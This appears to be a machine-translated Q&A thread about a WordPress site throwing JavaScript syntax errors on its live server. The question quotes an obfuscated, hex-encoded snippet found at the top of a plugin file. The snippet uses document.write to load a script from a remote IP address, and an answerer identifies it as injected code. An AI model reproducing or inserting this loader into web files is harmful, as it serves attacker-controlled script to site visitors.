2017-06-22 63 views
0

所有在localhost中正常工作,但在活動服務器中,突然之間,我得到了上面提到的每個單個js文件的錯誤。SyntaxError:missing;在wordpress中聲明錯誤之前

我註釋了wp_enqueue_scriptsfunctions.php,看看錯誤是否消失,但它仍然存在。

還在下面的行中添加了字符串concatnation可能導致它。

//prevent javascript concat 
define('CONCATENATE_SCRIPTS', false); 

我找不出什麼可能會導致此問題。請建議我。我可以提供我的網站的測試權限。

編輯:

我打開與錯誤的話控制檯中顯示我的插件文件之一。在實際代碼開始之前注意到奇怪的字符串。我懷疑這可能是問題所在。

這是某種前綴的wordpress或從別處不需要的字符串?

var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))jQuery(document).ready(function() { 

    var meta_image_frame; 
    var meta_mobileimage_frame; 

     // Runs when the image button is clicked. 
     jQuery('#banner_manager_image_button').click(function(e){ 

     ....plugins js code----- 
     }); 


}); 
+0

檢查您的文件是否已正確移至服務器。也許你有一些額外的字符?像'\ r \ n'替換爲'\ r',並且所有註釋都被破壞了。 – Justinas

+0

你可能想看看你的javascript文件,看看問題出在哪裏。如果有錯誤的行號,甚至更好。 – aynber

+0

@aynber,我剛剛從控制檯中選擇了一個js文件。我在我的帖子上面添加了我的發現。看看你是否可以建議 – 112233

回答

1

_0xaae8jQuery(document).ready(之前缺少;


此代碼:var _0xaae8=[...看起來像注入的代碼。通常我已經看到通過一些不好的書寫工具/插件/庫注入這樣的代碼,允許用戶使用文件(如將文件上傳到服務器)。我建議刪除它,如果它不是你的代碼,並檢查服務器上的其他文件。

+0

我不知道附加的字符串注入的位置,因此我無法刪除它。我也嘗試停用所有插件以查看問題是否已解決。但它存在。 – 112233

+0

我懷疑script-loader中的print_head_scripts函數包含錯誤...檢查 – 112233

+0

@ 112233禁用插件可能沒有幫助,因爲文件已被注入。 – Justinas

相關問題